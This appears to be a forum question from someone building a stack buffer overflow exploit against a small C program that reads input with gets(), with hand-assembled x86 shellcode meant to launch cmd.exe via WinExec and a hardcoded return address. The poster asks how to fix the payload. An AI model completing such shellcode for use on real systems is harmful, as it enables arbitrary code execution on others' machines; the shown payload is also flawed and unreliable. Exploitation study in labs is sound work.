I have a program like this:
int main() {
char buffer[16];
printf("Write something: ");
gets(buffer);
printf("You wrote: %s\n", buffer);
return 0;
}
And I have wrote a little bytecode payload, that should launch cmd.exe via WinExec,
ADD ESP -80 ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX ; 31 D2
PUSH EDX ; 52
PUSH 'd' ; 6A 64
PUSH 'm' ; 6A 6D
PUSH 'c' ; 6A 63
PUSH 1 ; 6A 01
NOP ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0)
28 FF 19 ; 28 FF 19 <-- this should be a new return address
So it will fail to execute the code, which is wrong. Any idea how to tweak the code or any idea what should I incorporate into code? And I am not sure whether pushing characters onto stack is also valid. (And yes, it's only a demonstration)